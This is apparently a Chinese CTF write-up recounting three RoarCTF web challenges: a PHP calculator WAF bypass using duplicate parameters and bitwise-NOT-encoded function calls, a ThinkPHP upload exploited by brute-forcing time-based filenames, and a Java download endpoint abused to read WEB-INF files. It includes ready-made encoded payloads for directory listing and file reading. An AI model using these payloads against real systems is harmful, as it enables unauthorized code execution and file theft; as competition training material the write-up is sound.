0x01.前言

刚刚打的RoarCTF,质量不错,最后是第13名,前面几名太神仙了,这次Web一共6道,我们做出了3道,这里记录复盘下。

0x02正文

一.calc

先fuzz一下waf,发现过滤了字母等,未被过滤的有数字,( ) * + , - . / ~

然后发现可以利用写两次num来绕过waf,?num=12&%20num=phpinfo()发现system等函数都被禁了然后观察到这里~没有被过滤,可以利用取反来绕过题目中的黑名单

?num=12&%20num(~%89%9E%8D%A0%9B%8A%92%8F((~%8C%9C%9E%91%9B%96%8D)(~%D0))读根目录,发现f1agg文件num=12&%20num=(~%89%9E%8D%A0%9B%8A%92%8F)((~%99%96%93%9A%A0%98%9A%8B%A0%9C%90%91%8B%9A%91%8B%8C)(~%D0%99%CE%9E%98%98))读f1agg文件

二.simple_upload

上传点为/index.php/home/Index/upload

.DS_Store 泄漏

.
├── Application
│   ├── Common
│   │   ├── Common
│   │   ├── Conf
│   │   └── index.html
│   ├── Home
│   │   ├── Common
│   │   ├── Conf
│   │   ├── Model
│   │   ├── View
│   │   └── index.html
│   ├── Runtime
│   │   ├── Cache
│   │   │   ├── Home
│   │   │   └── index.html
│   │   ├── Data
│   │   ├── Logs
│   │   ├── Temp
│   │   └── index.html
│   └── index.html
├── Public
├── index.php
└── preload_flag.php

thinkphp

传两个文件 第一个为.php后缀 第二个随意 发现未触发waf 猜测文件上传成功 但是只返回了第二个文件名

github上找到了think/upload()的上传功能 文件名是与时间有关的md5串

攻击思路为 同时上传的两个文件 前几位相同 于是可以爆破文件名来访问已上传的php文件

首先利用burpsuite的inturder模块 连续上传十次 每次两个文件 观察回显 直到有两次的回显 文件名非常接近 只有最后三位不同 推测在这两个文件名中间必定夹了一个php文件

再次使用inturder模块 爆破文件名 成功访问 得到flag(也可以写脚本,ccl写了脚本)

ez_java

/help.docx/Login/Download?filename=

尝试用post方法传filename

post /Download filename=WEB-INF/web.xml

获取到web.xml

直接读文件

filename=WEB-INF/classes/com/wm/ctf/FlagController.class

Um9hckNURnt3bS1mNzA1MDJjMS1iZDJiLTQ5ZGYtYWRlYy0zZmYzZWY1OWIwM2F9

base64解码

0x03总结

等等看下官方的wp再学习下,接下来要好好准备实习了,哭唧唧有没有收留弟弟的。